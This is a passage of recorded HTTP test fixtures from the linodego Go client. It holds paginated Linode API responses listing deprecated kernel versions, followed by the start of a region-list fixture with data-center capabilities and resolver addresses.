"architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86_64-linode117", "label": "4.18.8-x86_64-linode117", "version": "4.18.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86_64-linode116", "label": "4.17.17-x86_64-linode116", "version": "4.17.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86_64-linode115", "label": "4.17.15-x86_64-linode115", "version": "4.17.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode114", "label": "4.17.14-x86_64-linode114", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode113", "label": "4.17.14-x86_64-linode113", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86_64-linode112", "label": "4.17.12-x86_64-linode112", "version": "4.17.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86_64-linode111", "label": "4.17.11-x86_64-linode111", "version": "4.17.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86_64-linode110", "label": "4.17.8-x86_64-linode110", "version": "4.17.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86_64-linode109", "label": "4.17.2-x86_64-linode109", "version": "4.17.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86_64-linode108", "label": "4.16.11-x86_64-linode108", "version": "4.16.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86_64-linode107", "label": "4.15.18-x86_64-linode107", "version": "4.15.18", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86_64-linode106", "label": "4.15.13-x86_64-linode106", "version": "4.15.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86_64-linode105", "label": "4.15.12-x86_64-linode105", "version": "4.15.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86_64-linode104", "label": "4.15.10-x86_64-linode104", "version": "4.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86_64-linode103", "label": "4.15.8-x86_64-linode103", "version": "4.15.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86_64-linode102", "label": "4.15.7-x86_64-linode102", "version": "4.15.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86_64-linode100", "label": "4.14.19-x86_64-linode100", "version": "4.14.19", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86_64-linode99", "label": "4.14.17-x86_64-linode99", "version": "4.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86_64-linode98", "label": "4.9.80-x86_64-linode98", "version": "4.9.80", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86_64-linode97", "label": "4.4.115-x86_64-linode97", "version": "4.4.115", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86_64-linode96", "label": "4.4.113-x86_64-linode96", "version": "4.4.113", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86_64-linode95", "label": "4.9.78-x86_64-linode95", "version": "4.9.78", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode94", "label": "4.14.14-x86_64-linode94", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode93", "label": "4.14.14-x86_64-linode93", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86_64-linode88", "label": "4.9.64-x86_64-linode88", "version": "4.9.64", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86_64-linode89", "label": "4.9.68-x86_64-linode89", "version": "4.9.68", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86_64-linode92", "label": "4.14.12-x86_64-linode92", "version": "4.14.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86_64-linode91", "label": "4.14.11-x86_64-linode91", "version": "4.14.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86_64-linode87", "label": "4.9.56-x86_64-linode87", "version": "4.9.56", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86_64-linode86", "label": "4.9.50-x86_64-linode86", "version": "4.9.50", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86_64-linode85", "label": "4.9.36-x86_64-linode85", "version": "4.9.36", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86_64-linode83", "label": "4.9.33-x86_64-linode83", "version": "4.9.33", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86_64-linode81", "label": "4.9.15-x86_64-linode81", "version": "4.9.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86_64-linode80", "label": "4.9.7-x86_64-linode80", "version": "4.9.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86_64-linode79", "label": "4.9.0-x86_64-linode79", "version": "4.9.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86_64-linode78", "label": "4.8.6-x86_64-linode78", "version": "4.8.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86_64-linode77", "label": "4.8.4-x86_64-linode77", "version": "4.8.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86_64-linode76", "label": "4.8.3-x86_64-linode76", "version": "4.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86_64-linode75", "label": "4.8.1-x86_64-linode75", "version": "4.8.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86_64-linode73", "label": "4.7.3-x86_64-linode73", "version": "4.7.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86_64-linode72", "label": "4.7.0-x86_64-linode72", "version": "4.7.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86_64-linode71", "label": "4.6.5-x86_64-linode71", "version": "4.6.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.3-x86_64-linode70", "label": "4.6.3-x86_64-linode70", "version": "4.6.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86_64-linode69", "label": "4.5.5-x86_64-linode69", "version": "4.5.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86_64-linode67", "label": "4.5.3-x86_64-linode67", "version": "4.5.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86_64-linode65", "label": "4.5.0-x86_64-linode65", "version": "4.5.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86_64-linode64", "label": "4.4.4-x86_64-linode64", "version": "4.4.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86_64-linode63", "label": "4.4.0-x86_64-linode63", "version": "4.4.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode61", "label": "4.1.5-x86_64-linode61", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode60", "label": "4.1.5-x86_64-linode60 ", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86_64-linode59", "label": "4.1.0-x86_64-linode59 ", "version": "4.1.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86_64-linode58", "label": "4.0.5-x86_64-linode58", "version": "4.0.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86_64-linode57", "label": "4.0.4-x86_64-linode57", "version": "4.0.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86_64-linode56", "label": "4.0.2-x86_64-linode56", "version": "4.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.1-x86_64-linode55", "label": "4.0.1-x86_64-linode55", "version": "4.0.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86_64-linode54", "label": "4.0-x86_64-linode54", "version": "4.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86_64-linode53", "label": "3.19.1-x86_64-linode53", "version": "3.19.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86_64-linode52", "label": "3.18.5-x86_64-linode52", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86_64-linode51", "label": "3.18.3-x86_64-linode51", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86_64-linode50", "label": "3.18.1-x86_64-linode50", "version": "3.18.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86_64-linode49", "label": "3.16.7-x86_64-linode49", "version": "3.16.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86_64-linode46", "label": "3.16.5-x86_64-linode46", "version": "3.16.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86_64-linode45", "label": "3.15.4-x86_64-linode45", "version": "3.15.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86_64-linode44", "label": "3.15.3-x86_64-linode44", "version": "3.15.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86_64-linode43", "label": "3.15.2-x86_64-linode43", "version": "3.15.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode42", "label": "3.14.5-x86_64-linode42", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode41", "label": "3.14.5-x86_64-linode41", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86_64-linode40", "label": "3.14.4-x86_64-linode40", "version": "3.14.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86_64-linode39", "label": "3.14.1-x86_64-linode39", "version": "3.14.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86_64-linode38", "label": "3.13.7-x86_64-linode38", "version": "3.13.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestCache_RegionList.yaml000066400000000000000000002767451474652371000314770ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium 